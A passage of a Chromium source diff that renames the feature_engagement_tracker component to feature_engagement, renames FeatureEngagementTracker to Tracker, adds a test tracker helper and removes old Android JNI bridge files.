@@ -2,7 +2,7 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-package org.chromium.components.feature_engagement_tracker;
+package org.chromium.components.feature_engagement;
 
 /**
  * EventConstants contains the String name of all in-product help events.
diff --git a/components/feature_engagement_tracker/public/android/java/src/org/chromium/components/feature_engagement_tracker/FeatureConstants.java b/components/feature_engagement/public/android/java/src/org/chromium/components/feature_engagement/FeatureConstants.java
similarity index 85%
rename from components/feature_engagement_tracker/public/android/java/src/org/chromium/components/feature_engagement_tracker/FeatureConstants.java
rename to components/feature_engagement/public/android/java/src/org/chromium/components/feature_engagement/FeatureConstants.java
index 417a7f1..88c1cf0 100644
--- a/components/feature_engagement_tracker/public/android/java/src/org/chromium/components/feature_engagement_tracker/FeatureConstants.java
+++ b/components/feature_engagement/public/android/java/src/org/chromium/components/feature_engagement/FeatureConstants.java
@@ -2,11 +2,11 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-package org.chromium.components.feature_engagement_tracker;
+package org.chromium.components.feature_engagement;
 
 /**
  * FeatureConstants contains the String name of all base::Feature in-product help features declared
- * in //components/feature_engagement_tracker/public/feature_constants.h.
+ * in //components/feature_engagement/public/feature_constants.h.
  */
 public final class FeatureConstants {
     public static final String DOWNLOAD_PAGE_FEATURE = "IPH_DownloadPage";
diff --git a/components/feature_engagement_tracker/public/android/java/src/org/chromium/components/feature_engagement_tracker/FeatureEngagementTracker.java b/components/feature_engagement/public/android/java/src/org/chromium/components/feature_engagement/Tracker.java
similarity index 87%
rename from components/feature_engagement_tracker/public/android/java/src/org/chromium/components/feature_engagement_tracker/FeatureEngagementTracker.java
rename to components/feature_engagement/public/android/java/src/org/chromium/components/feature_engagement/Tracker.java
index 1a17d96..db7d4ce 100644
--- a/components/feature_engagement_tracker/public/android/java/src/org/chromium/components/feature_engagement_tracker/FeatureEngagementTracker.java
+++ b/components/feature_engagement/public/android/java/src/org/chromium/components/feature_engagement/Tracker.java
@@ -2,19 +2,19 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-package org.chromium.components.feature_engagement_tracker;
+package org.chromium.components.feature_engagement;
 
 import android.support.annotation.CheckResult;
 
 import org.chromium.base.Callback;
 
 /**
- * FeatureEngagementTracker is the Java representation of a native FeatureEngagementTracker object.
+ * Tracker is the Java representation of a native Tracker object.
  * It is owned by the native BrowserContext.
  *
- * FeatureEngagementTracker is the core class for the feature engagement tracker.
+ * Tracker is the core class for the feature engagement.
  */
-public interface FeatureEngagementTracker {
+public interface Tracker {
     /**
      * Must be called whenever an event happens.
      */
diff --git a/components/feature_engagement_tracker/public/event_constants.cc b/components/feature_engagement/public/event_constants.cc
similarity index 85%
rename from components/feature_engagement_tracker/public/event_constants.cc
rename to components/feature_engagement/public/event_constants.cc
index 1638095..72ea6bd 100644
--- a/components/feature_engagement_tracker/public/event_constants.cc
+++ b/components/feature_engagement/public/event_constants.cc
@@ -2,9 +2,9 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/public/event_constants.h"
+#include "components/feature_engagement/public/event_constants.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 namespace events {
 
@@ -30,4 +30,4 @@
 
 }  // namespace events
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/public/event_constants.h b/components/feature_engagement/public/event_constants.h
similarity index 85%
rename from components/feature_engagement_tracker/public/event_constants.h
rename to components/feature_engagement/public/event_constants.h
index 24e64ad..0b93423 100644
--- a/components/feature_engagement_tracker/public/event_constants.h
+++ b/components/feature_engagement/public/event_constants.h
@@ -2,12 +2,12 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_PUBLIC_EVENT_CONSTANTS_H_
-#define COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_PUBLIC_EVENT_CONSTANTS_H_
+#ifndef COMPONENTS_FEATURE_ENGAGEMENT_PUBLIC_EVENT_CONSTANTS_H_
+#define COMPONENTS_FEATURE_ENGAGEMENT_PUBLIC_EVENT_CONSTANTS_H_
 
 #include "build/build_config.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 namespace events {
 
@@ -63,6 +63,6 @@
 
 }  // namespace events
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
 
-#endif  // COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_PUBLIC_EVENT_CONSTANTS_H_
+#endif  // COMPONENTS_FEATURE_ENGAGEMENT_PUBLIC_EVENT_CONSTANTS_H_
diff --git a/components/feature_engagement_tracker/public/feature_constants.cc b/components/feature_engagement/public/feature_constants.cc
similarity index 91%
rename from components/feature_engagement_tracker/public/feature_constants.cc
rename to components/feature_engagement/public/feature_constants.cc
index 066bcdf28..884fd1bd 100644
--- a/components/feature_engagement_tracker/public/feature_constants.cc
+++ b/components/feature_engagement/public/feature_constants.cc
@@ -2,9 +2,9 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/public/feature_constants.h"
+#include "components/feature_engagement/public/feature_constants.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 const base::Feature kIPHDemoMode{"IPH_DemoMode",
                                  base::FEATURE_DISABLED_BY_DEFAULT};
@@ -41,4 +41,4 @@
     "IPH_BadgedReadingList", base::FEATURE_DISABLED_BY_DEFAULT};
 #endif  // defined(OS_IOS)
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/public/feature_constants.h b/components/feature_engagement/public/feature_constants.h
similarity index 77%
rename from components/feature_engagement_tracker/public/feature_constants.h
rename to components/feature_engagement/public/feature_constants.h
index c0440fc..b915b8b 100644
--- a/components/feature_engagement_tracker/public/feature_constants.h
+++ b/components/feature_engagement/public/feature_constants.h
@@ -2,13 +2,13 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_PUBLIC_FEATURE_CONSTANTS_H_
-#define COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_PUBLIC_FEATURE_CONSTANTS_H_
+#ifndef COMPONENTS_FEATURE_ENGAGEMENT_PUBLIC_FEATURE_CONSTANTS_H_
+#define COMPONENTS_FEATURE_ENGAGEMENT_PUBLIC_FEATURE_CONSTANTS_H_
 
 #include "base/feature_list.h"
 #include "build/build_config.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 // A feature for enabling a demonstration mode for In-Product Help (IPH).
 extern const base::Feature kIPHDemoMode;
@@ -18,7 +18,7 @@
 
 // All the features declared for Android below that are also used in Java,
 // should also be declared in:
-// org.chromium.components.feature_engagement_tracker.FeatureConstants.
+// org.chromium.components.feature_engagement.FeatureConstants.
 #if defined(OS_ANDROID)
 extern const base::Feature kIPHDataSaverDetailFeature;
 extern const base::Feature kIPHDataSaverPreviewFeature;
@@ -38,6 +38,6 @@
 extern const base::Feature kIPHBadgedReadingListFeature;
 #endif  // defined(OS_IOS)
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
 
-#endif  // COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_PUBLIC_FEATURE_CONSTANTS_H_
+#endif  // COMPONENTS_FEATURE_ENGAGEMENT_PUBLIC_FEATURE_CONSTANTS_H_
diff --git a/components/feature_engagement_tracker/public/feature_list.cc b/components/feature_engagement/public/feature_list.cc
similarity index 84%
rename from components/feature_engagement_tracker/public/feature_list.cc
rename to components/feature_engagement/public/feature_list.cc
index 92e2fd3..2d888ee 100644
--- a/components/feature_engagement_tracker/public/feature_list.cc
+++ b/components/feature_engagement/public/feature_list.cc
@@ -2,11 +2,11 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#include "components/feature_engagement_tracker/public/feature_list.h"
+#include "components/feature_engagement/public/feature_list.h"
 
-#include "components/feature_engagement_tracker/public/feature_constants.h"
+#include "components/feature_engagement/public/feature_constants.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
 namespace {
 // Whenever a feature is added to |kAllFeatures|, it should also be added as
@@ -40,4 +40,4 @@
       kAllFeatures, kAllFeatures + arraysize(kAllFeatures));
 }
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
diff --git a/components/feature_engagement_tracker/public/feature_list.h b/components/feature_engagement/public/feature_list.h
similarity index 88%
rename from components/feature_engagement_tracker/public/feature_list.h
rename to components/feature_engagement/public/feature_list.h
index a815e40..9cb6ea7 100644
--- a/components/feature_engagement_tracker/public/feature_list.h
+++ b/components/feature_engagement/public/feature_list.h
@@ -2,23 +2,23 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_PUBLIC_FEATURE_LIST_H_
-#define COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_PUBLIC_FEATURE_LIST_H_
+#ifndef COMPONENTS_FEATURE_ENGAGEMENT_PUBLIC_FEATURE_LIST_H_
+#define COMPONENTS_FEATURE_ENGAGEMENT_PUBLIC_FEATURE_LIST_H_
 
 #include <vector>
 
 #include "base/feature_list.h"
 #include "build/build_config.h"
-#include "components/feature_engagement_tracker/public/feature_constants.h"
+#include "components/feature_engagement/public/feature_constants.h"
 #include "components/flags_ui/feature_entry.h"
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 using FeatureVector = std::vector<const base::Feature*>;
 
 // The param name for the FeatureVariation configuration, which is used by
-// chrome://flags to set the variable name for the selected feature. The
-// FeatureEngagementTracker backend will then read this to figure out which
-// feature (if any) was selected by the end user.
+// chrome://flags to set the variable name for the selected feature. The Tracker
+// backend will then read this to figure out which feature (if any) was selected
+// by the end user.
 extern const char kIPHDemoModeFeatureChoiceParam[];
 
 namespace {
@@ -93,6 +93,6 @@
 // Returns all the features that are in use for engagement tracking.
 FeatureVector GetAllFeatures();
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
 
-#endif  // COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_PUBLIC_FEATURE_LIST_H_
+#endif  // COMPONENTS_FEATURE_ENGAGEMENT_PUBLIC_FEATURE_LIST_H_
diff --git a/components/feature_engagement_tracker/public/feature_engagement_tracker.h b/components/feature_engagement/public/tracker.h
similarity index 79%
rename from components/feature_engagement_tracker/public/feature_engagement_tracker.h
rename to components/feature_engagement/public/tracker.h
index 492b537..387ab76 100644
--- a/components/feature_engagement_tracker/public/feature_engagement_tracker.h
+++ b/components/feature_engagement/public/tracker.h
@@ -2,8 +2,8 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_PUBLIC_FEATURE_ENGAGEMENT_TRACKER_H_
-#define COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_PUBLIC_FEATURE_ENGAGEMENT_TRACKER_H_
+#ifndef COMPONENTS_FEATURE_ENGAGEMENT_PUBLIC_TRACKER_H_
+#define COMPONENTS_FEATURE_ENGAGEMENT_PUBLIC_TRACKER_H_
 
 #include <string>
 
@@ -13,27 +13,27 @@
 #include "base/files/file_path.h"
 #include "base/memory/ref_counted.h"
 #include "base/sequenced_task_runner.h"
+#include "build/build_config.h"
 #include "components/keyed_service/core/keyed_service.h"
 
 #if defined(OS_ANDROID)
 #include "base/android/jni_android.h"
 #endif  // defined(OS_ANDROID)
 
-namespace feature_engagement_tracker {
+namespace feature_engagement {
 
-// The FeatureEngagementTracker provides a backend for displaying feature
+// The Tracker provides a backend for displaying feature
 // enlightenment or in-product help (IPH) with a clean and easy to use API to be
 // consumed by the UI frontend. The backend behaves as a black box and takes
 // input about user behavior. Whenever the frontend gives a trigger signal that
 // IPH could be displayed, the backend will provide an answer to whether it is
 // appropriate to show it or not.
-class FeatureEngagementTracker : public KeyedService {
+class Tracker : public KeyedService {
  public:
 #if defined(OS_ANDROID)
-  // Returns a Java object of the type FeatureEngagementTracker for the given
-  // FeatureEngagementTracker.
+  // Returns a Java object of the type Tracker for the given Tracker.
   static base::android::ScopedJavaLocalRef<jobject> GetJavaObject(
-      FeatureEngagementTracker* feature_engagement_tracker);
+      Tracker* feature_engagement);
 #endif  // defined(OS_ANDROID)
 
   // Invoked when the tracker has been initialized. The |success| parameter
@@ -43,7 +43,7 @@
 
   // The |storage_dir| is the path to where all local storage will be.
   // The |bakground_task_runner| will be used for all disk reads and writes.
-  static FeatureEngagementTracker* Create(
+  static Tracker* Create(
       const base::FilePath& storage_dir,
       const scoped_refptr<base::SequencedTaskRunner>& background_task_runner);
 
@@ -78,12 +78,12 @@
   virtual void AddOnInitializedCallback(OnInitializedCallback callback) = 0;
 
  protected:
-  FeatureEngagementTracker() = default;
+  Tracker() = default;
 
  private:
-  DISALLOW_COPY_AND_ASSIGN(FeatureEngagementTracker);
+  DISALLOW_COPY_AND_ASSIGN(Tracker);
 };
 
-}  // namespace feature_engagement_tracker
+}  // namespace feature_engagement
 
-#endif  // COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_PUBLIC_FEATURE_ENGAGEMENT_TRACKER_H_
+#endif  // COMPONENTS_FEATURE_ENGAGEMENT_PUBLIC_TRACKER_H_
diff --git a/components/feature_engagement/test/BUILD.gn b/components/feature_engagement/test/BUILD.gn
new file mode 100644
index 0000000..1c9986b
--- /dev/null
+++ b/components/feature_engagement/test/BUILD.gn
@@ -0,0 +1,18 @@
+# Copyright 2017 The Chromium Authors. All rights reserved.
+# Use of this source code is governed by a BSD-style license that can be
+# found in the LICENSE file.
+
+source_set("test_support") {
+  testonly = true
+
+  sources = [
+    "test_tracker.cc",
+    "test_tracker.h",
+  ]
+
+  deps = [
+    "//base",
+    "//components/feature_engagement/internal",
+    "//components/feature_engagement/public",
+  ]
+}
diff --git a/components/feature_engagement/test/test_tracker.cc b/components/feature_engagement/test/test_tracker.cc
new file mode 100644
index 0000000..3cdc9a8
--- /dev/null
+++ b/components/feature_engagement/test/test_tracker.cc
@@ -0,0 +1,45 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "components/feature_engagement/test/test_tracker.h"
+
+#include "base/memory/ptr_util.h"
+#include "base/threading/sequenced_task_runner_handle.h"
+#include "components/feature_engagement/internal/chrome_variations_configuration.h"
+#include "components/feature_engagement/internal/event_model_impl.h"
+#include "components/feature_engagement/internal/feature_config_condition_validator.h"
+#include "components/feature_engagement/internal/feature_config_event_storage_validator.h"
+#include "components/feature_engagement/internal/in_memory_event_store.h"
+#include "components/feature_engagement/internal/init_aware_event_model.h"
+#include "components/feature_engagement/internal/never_availability_model.h"
+#include "components/feature_engagement/internal/system_time_provider.h"
+#include "components/feature_engagement/internal/tracker_impl.h"
+#include "components/feature_engagement/public/feature_list.h"
+#include "components/feature_engagement/public/tracker.h"
+
+namespace feature_engagement {
+
+// static
+std::unique_ptr<Tracker> CreateTestTracker() {
+  auto configuration = base::MakeUnique<ChromeVariationsConfiguration>();
+  configuration->ParseFeatureConfigs(GetAllFeatures());
+
+  auto storage_validator =
+      base::MakeUnique<FeatureConfigEventStorageValidator>();
+  storage_validator->InitializeFeatures(GetAllFeatures(), *configuration);
+
+  auto raw_event_model = base::MakeUnique<EventModelImpl>(
+      base::MakeUnique<InMemoryEventStore>(), std::move(storage_validator));
+
+  auto event_model =
+      base::MakeUnique<InitAwareEventModel>(std::move(raw_event_model));
+
+  return base::MakeUnique<TrackerImpl>(
+      std::move(event_model), base::MakeUnique<NeverAvailabilityModel>(),
+      std::move(configuration),
+      base::MakeUnique<FeatureConfigConditionValidator>(),
+      base::MakeUnique<SystemTimeProvider>());
+}
+
+}  // namespace feature_engagement
diff --git a/components/feature_engagement/test/test_tracker.h b/components/feature_engagement/test/test_tracker.h
new file mode 100644
index 0000000..b19f08d3
--- /dev/null
+++ b/components/feature_engagement/test/test_tracker.h
@@ -0,0 +1,21 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef COMPONENTS_FEATURE_ENGAGEMENT_TEST_TEST_TRACKER_H_
+#define COMPONENTS_FEATURE_ENGAGEMENT_TEST_TEST_TRACKER_H_
+
+#include <memory>
+
+namespace feature_engagement {
+class Tracker;
+
+// Provides a test feature_engagement::Tracker that makes all non-relevant
+// conditions true so you can test per-feature specific configurations.
+// Note: Your feature config params must have |"availability": "ANY"|
+// or the FeatureConfigConditionValidator will return false.
+std::unique_ptr<Tracker> CreateTestTracker();
+
+}  // namespace feature_engagement
+
+#endif  // COMPONENTS_FEATURE_ENGAGEMENT_TEST_TEST_TRACKER_H_
diff --git a/components/feature_engagement_tracker/BUILD.gn b/components/feature_engagement_tracker/BUILD.gn
deleted file mode 100644
index cb24ce6c..0000000
--- a/components/feature_engagement_tracker/BUILD.gn
+++ /dev/null
@@ -1,47 +0,0 @@
-# Copyright 2017 The Chromium Authors. All rights reserved.
-# Use of this source code is governed by a BSD-style license that can be
-# found in the LICENSE file.
-
-if (is_android) {
-  import("//build/config/android/config.gni")
-  import("//build/config/android/rules.gni")
-}
-
-group("feature_engagement_tracker") {
-  public_deps = [
-    "//components/feature_engagement_tracker/public",
-  ]
-
-  deps = [
-    "//components/feature_engagement_tracker/internal",
-  ]
-}
-
-group("unit_tests") {
-  testonly = true
-
-  deps = [
-    "//components/feature_engagement_tracker/internal:unit_tests",
-  ]
-
-  data_deps = [
-    ":components_unittests_gtest_filter",
-  ]
-}
-
-source_set("components_unittests_gtest_filter") {
-  testonly = true
-
-  data = [
-    "components_unittests.filter",
-  ]
-}
-
-if (is_android) {
-  java_group("feature_engagement_tracker_java") {
-    deps = [
-      "//components/feature_engagement_tracker/internal:internal_java",
-      "//components/feature_engagement_tracker/public:public_java",
-    ]
-  }
-}
diff --git a/components/feature_engagement_tracker/internal/android/feature_engagement_tracker_impl_android.cc b/components/feature_engagement_tracker/internal/android/feature_engagement_tracker_impl_android.cc
deleted file mode 100644
index c2dd33f..0000000
--- a/components/feature_engagement_tracker/internal/android/feature_engagement_tracker_impl_android.cc
+++ /dev/null
@@ -1,150 +0,0 @@
-// Copyright 2017 The Chromium Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#include "components/feature_engagement_tracker/internal/android/feature_engagement_tracker_impl_android.h"
-
-#include <vector>
-
-#include "base/android/callback_android.h"
-#include "base/android/jni_android.h"
-#include "base/android/jni_string.h"
-#include "base/android/scoped_java_ref.h"
-#include "base/bind.h"
-#include "base/feature_list.h"
-#include "base/memory/ptr_util.h"
-#include "components/feature_engagement_tracker/public/feature_engagement_tracker.h"
-#include "components/feature_engagement_tracker/public/feature_list.h"
-#include "jni/FeatureEngagementTrackerImpl_jni.h"
-
-namespace feature_engagement_tracker {
-
-namespace {
-
-const char kFeatureEngagementTrackerImplAndroidKey[] =
-    "feature_engagement_tracker_impl_android";
-
-// Create mapping from feature name to base::Feature.
-FeatureEngagementTrackerImplAndroid::FeatureMap CreateMapFromNameToFeature(
-    FeatureVector features) {
-  FeatureEngagementTrackerImplAndroid::FeatureMap feature_map;
-  for (auto it = features.begin(); it != features.end(); ++it) {
-    feature_map[(*it)->name] = *it;
-  }
-  return feature_map;
-}
-
-FeatureEngagementTrackerImplAndroid* FromFeatureEngagementTrackerImpl(
-    FeatureEngagementTracker* feature_engagement_tracker) {
-  FeatureEngagementTrackerImpl* impl =
-      static_cast<FeatureEngagementTrackerImpl*>(feature_engagement_tracker);
-  FeatureEngagementTrackerImplAndroid* impl_android =
-      static_cast<FeatureEngagementTrackerImplAndroid*>(
-          impl->GetUserData(kFeatureEngagementTrackerImplAndroidKey));
-  if (!impl_android) {
-    impl_android =
-        new FeatureEngagementTrackerImplAndroid(impl, GetAllFeatures());
-    impl->SetUserData(kFeatureEngagementTrackerImplAndroidKey,
-                      base::WrapUnique(impl_android));
-  }
-  return impl_android;
-}
-
-}  // namespace
-
-// static
-bool FeatureEngagementTrackerImplAndroid::RegisterJni(JNIEnv* env) {
-  return RegisterNativesImpl(env);
-}
-
-// static
-FeatureEngagementTrackerImplAndroid*
-FeatureEngagementTrackerImplAndroid::FromJavaObject(
-    JNIEnv* env,
-    const base::android::JavaRef<jobject>& jobj) {
-  return reinterpret_cast<FeatureEngagementTrackerImplAndroid*>(
-      Java_FeatureEngagementTrackerImpl_getNativePtr(env, jobj));
-}
-
-// This function is declared in
-// //components/feature_engagement_tracker/public/feature_engagement_tracker.h
-// and should be linked in to any binary using
-// FeatureEngagementTracker::GetJavaObject.
-// static
-base::android::ScopedJavaLocalRef<jobject>
-FeatureEngagementTracker::GetJavaObject(
-    FeatureEngagementTracker* feature_engagement_tracker) {
-  return FromFeatureEngagementTrackerImpl(feature_engagement_tracker)
-      ->GetJavaObject();
-}
-
-FeatureEngagementTrackerImplAndroid::FeatureEngagementTrackerImplAndroid(
-    FeatureEngagementTrackerImpl* feature_engagement_tracker_impl,
-    FeatureVector features)
-    : features_(CreateMapFromNameToFeature(features)),
-      feature_engagement_tracker_impl_(feature_engagement_tracker_impl) {
-  JNIEnv* env = base::android::AttachCurrentThread();
-
-  java_obj_.Reset(env, Java_FeatureEngagementTrackerImpl_create(
-                           env, reinterpret_cast<intptr_t>(this))
-                           .obj());
-}
-
-FeatureEngagementTrackerImplAndroid::~FeatureEngagementTrackerImplAndroid() {
-  Java_FeatureEngagementTrackerImpl_clearNativePtr(
-      base::android::AttachCurrentThread(), java_obj_);
-}
-
-base::android::ScopedJavaLocalRef<jobject>
-FeatureEngagementTrackerImplAndroid::GetJavaObject() {
-  return base::android::ScopedJavaLocalRef<jobject>(java_obj_);
-}
-
-void FeatureEngagementTrackerImplAndroid::NotifyEvent(
-    JNIEnv* env,
-    const base::android::JavaRef<jobject>& jobj,
-    const base::android::JavaParamRef<jstring>& jevent) {
-  std::string event = ConvertJavaStringToUTF8(env, jevent);
-  feature_engagement_tracker_impl_->NotifyEvent(event);
-}
-
-bool FeatureEngagementTrackerImplAndroid::ShouldTriggerHelpUI(
-    JNIEnv* env,
-    const base::android::JavaRef<jobject>& jobj,
-    const base::android::JavaParamRef<jstring>& jfeature) {
-  std::string feature = ConvertJavaStringToUTF8(env, jfeature);
-  DCHECK(features_.find(feature) != features_.end());
-
-  return feature_engagement_tracker_impl_->ShouldTriggerHelpUI(
-      *features_[feature]);
-}
-
-void FeatureEngagementTrackerImplAndroid::Dismissed(
-    JNIEnv* env,
-    const base::android::JavaRef<jobject>& jobj,
-    const base::android::JavaParamRef<jstring>& jfeature) {
-  std::string feature = ConvertJavaStringToUTF8(env, jfeature);
-  DCHECK(features_.find(feature) != features_.end());
-
-  feature_engagement_tracker_impl_->Dismissed(*features_[feature]);
-}
-
-bool FeatureEngagementTrackerImplAndroid::IsInitialized(
-    JNIEnv* env,
-    const base::android::JavaRef<jobject>& jobj) {
-  return feature_engagement_tracker_impl_->IsInitialized();
-}
-
-void FeatureEngagementTrackerImplAndroid::AddOnInitializedCallback(
-    JNIEnv* env,
-    const base::android::JavaRef<jobject>& jobj,
-    const base::android::JavaParamRef<jobject>& j_callback_obj) {
-  // Disambiguate RunCallbackAndroid to get the reference to the bool version.
-  void (*runBoolCallback)(const base::android::JavaRef<jobject>&, bool) =
-      &base::android::RunCallbackAndroid;
-  feature_engagement_tracker_impl_->AddOnInitializedCallback(
-      base::Bind(runBoolCallback,
-                 base::android::ScopedJavaGlobalRef<jobject>(j_callback_obj)));
-}
-
-}  // namespace feature_engagement_tracker
diff --git a/components/feature_engagement_tracker/internal/android/feature_engagement_tracker_impl_android.h b/components/feature_engagement_tracker/internal/android/feature_engagement_tracker_impl_android.h
deleted file mode 100644
index 8818474..0000000
--- a/components/feature_engagement_tracker/internal/android/feature_engagement_tracker_impl_android.h
+++ /dev/null
@@ -1,82 +0,0 @@
-// Copyright 2017 The Chromium Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#ifndef COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_ANDROID_FEATURE_ENGAGEMENT_TRACKER_IMPL_ANDROID_H_
-#define COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_ANDROID_FEATURE_ENGAGEMENT_TRACKER_IMPL_ANDROID_H_
-
-#include <string>
-#include <unordered_map>
-
-#include "base/android/callback_android.h"
-#include "base/android/jni_android.h"
-#include "base/android/scoped_java_ref.h"
-#include "base/macros.h"
-#include "base/supports_user_data.h"
-#include "components/feature_engagement_tracker/internal/feature_engagement_tracker_impl.h"
-#include "components/feature_engagement_tracker/public/feature_list.h"
-
-namespace base {
-struct Feature;
-}  // namespace base
-
-namespace feature_engagement_tracker {
-
-// JNI bridge between FeatureEngagementTrackerImpl in Java and C++. See the
-// public API of FeatureEngagementTracker for documentation for all methods.
-class FeatureEngagementTrackerImplAndroid
-    : public base::SupportsUserData::Data {
- public:
-  using FeatureMap = std::unordered_map<std::string, const base::Feature*>;
-  static bool RegisterJni(JNIEnv* env);
-  static FeatureEngagementTrackerImplAndroid* FromJavaObject(
-      JNIEnv* env,
-      const base::android::JavaRef<jobject>& jobj);
-
-  FeatureEngagementTrackerImplAndroid(
-      FeatureEngagementTrackerImpl* feature_engagement_tracker_impl,
-      FeatureVector features);
-  ~FeatureEngagementTrackerImplAndroid() override;
-
-  base::android::ScopedJavaLocalRef<jobject> GetJavaObject();
-
-  FeatureEngagementTrackerImpl* feature_engagement_tracker_impl() {
-    return feature_engagement_tracker_impl_;
-  }
-
-  // FeatureEngagementTracker JNI bridge implementation.
-  virtual void NotifyEvent(JNIEnv* env,
-                           const base::android::JavaRef<jobject>& jobj,
-                           const base::android::JavaParamRef<jstring>& jevent);
-  virtual bool ShouldTriggerHelpUI(
-      JNIEnv* env,
-      const base::android::JavaRef<jobject>& jobj,
-      const base::android::JavaParamRef<jstring>& jfeature);
-  virtual void Dismissed(JNIEnv* env,
-                         const base::android::JavaRef<jobject>& jobj,
-                         const base::android::JavaParamRef<jstring>& jfeature);
-  virtual bool IsInitialized(JNIEnv* env,
-                             const base::android::JavaRef<jobject>& jobj);
-  virtual void AddOnInitializedCallback(
-      JNIEnv* env,
-      const base::android::JavaRef<jobject>& jobj,
-      const base::android::JavaParamRef<jobject>& j_callback_obj);
-
- private:
-  // A map from the feature name to the base::Feature, to ensure that the Java
-  // version of the API can use the string name. If base::Feature becomes a Java
-  // class as well, we should remove this mapping.
-  FeatureMap features_;
-
-  // The FeatureEngagementTrackerImpl this is a JNI bridge for.
-  FeatureEngagementTrackerImpl* feature_engagement_tracker_impl_;
-
-  // The Java-side of this JNI bridge.
-  base::android::ScopedJavaGlobalRef<jobject> java_obj_;
-
-  DISALLOW_COPY_AND_ASSIGN(FeatureEngagementTrackerImplAndroid);
-};
-
-}  // namespace feature_engagement_tracker
-
-#endif  // COMPONENTS_FEATURE_ENGAGEMENT_TRACKER_INTERNAL_ANDROID_FEATURE_ENGAGEMENT_TRACKER_IMPL_ANDROID_H_
diff --git a/components/feature_engagement_tracker/internal/android/feature_engagement_tracker_jni_registrar.cc b/components/feature_engagement_tracker/internal/android/feature_engagement_tracker_jni_registrar.cc
deleted file mode 100644
index affcbef6..0000000
--- a/components/feature_engagement_tracker/internal/android/feature_engagement_tracker_jni_registrar.cc
+++ /dev/null
@@ -1,29 +0,0 @@
-// Copyright 2017 The Chromium Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#include "components/feature_engagement_tracker/public/android/feature_engagement_tracker_jni_registrar.h"
-
-#include "base/android/jni_registrar.h"
-#include "components/feature_engagement_tracker/internal/android/feature_engagement_tracker_impl_android.h"
-
-namespace feature_engagement_tracker {
-namespace {
-base::android::RegistrationMethod
-    kFeatureEngagementTrackerRegistrationMethods[] = {
-        {"FeatureEngagementTrackerImplAndroid",
-         FeatureEngagementTrackerImplAndroid::RegisterJni},
-};
-}  // namespace
-
-// This method is declared in //components/feature_engagement_tracker/public/
-//     android/feature_engagement_tracker_jni_registrar.h,
-// and should be linked in to any binary that calls
-// feature_engagement_tracker::RegisterFeatureEngagementTrackerJni.
-bool RegisterFeatureEngagementTrackerJni(JNIEnv* env) {
-  return base::android::RegisterNativeMethods(
-      env, kFeatureEngagementTrackerRegistrationMethods,
-      arraysize(kFeatureEngagementTrackerRegistrationMethods));
-}
-
-}  // namespace feature_engagement_tracker
diff --git a/components/feature_engagement_tracker/internal/android/java/src/org/chromium/components/feature_engagement_tracker/internal/FeatureEngagementTrackerImpl.java b/components/feature_engagement_tracker/internal/android/java/src/org/chromium/components/feature_engagement_tracker/internal/FeatureEngagementTrackerImpl.java
deleted file mode 100644
index 1ef81e75..0000000
--- a/components/feature_engagement_tracker/internal/android/java/src/org/chromium/components/feature_engagement_tracker/internal/FeatureEngagementTrackerImpl.java
+++ /dev/null
@@ -1,82 +0,0 @@
-// Copyright 2017 The Chromium Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-package org.chromium.components.feature_engagement_tracker.internal;
-
-import org.chromium.base.Callback;
-import org.chromium.base.annotations.CalledByNative;
-import org.chromium.base.annotations.JNINamespace;
-import org.chromium.components.feature_engagement_tracker.FeatureEngagementTracker;
-
-/**
- * Java side of the JNI bridge between FeatureEngagementTrackerImpl in Java
- * and C++. All method calls are delegated to the native C++ class.
- */
-@JNINamespace("feature_engagement_tracker")
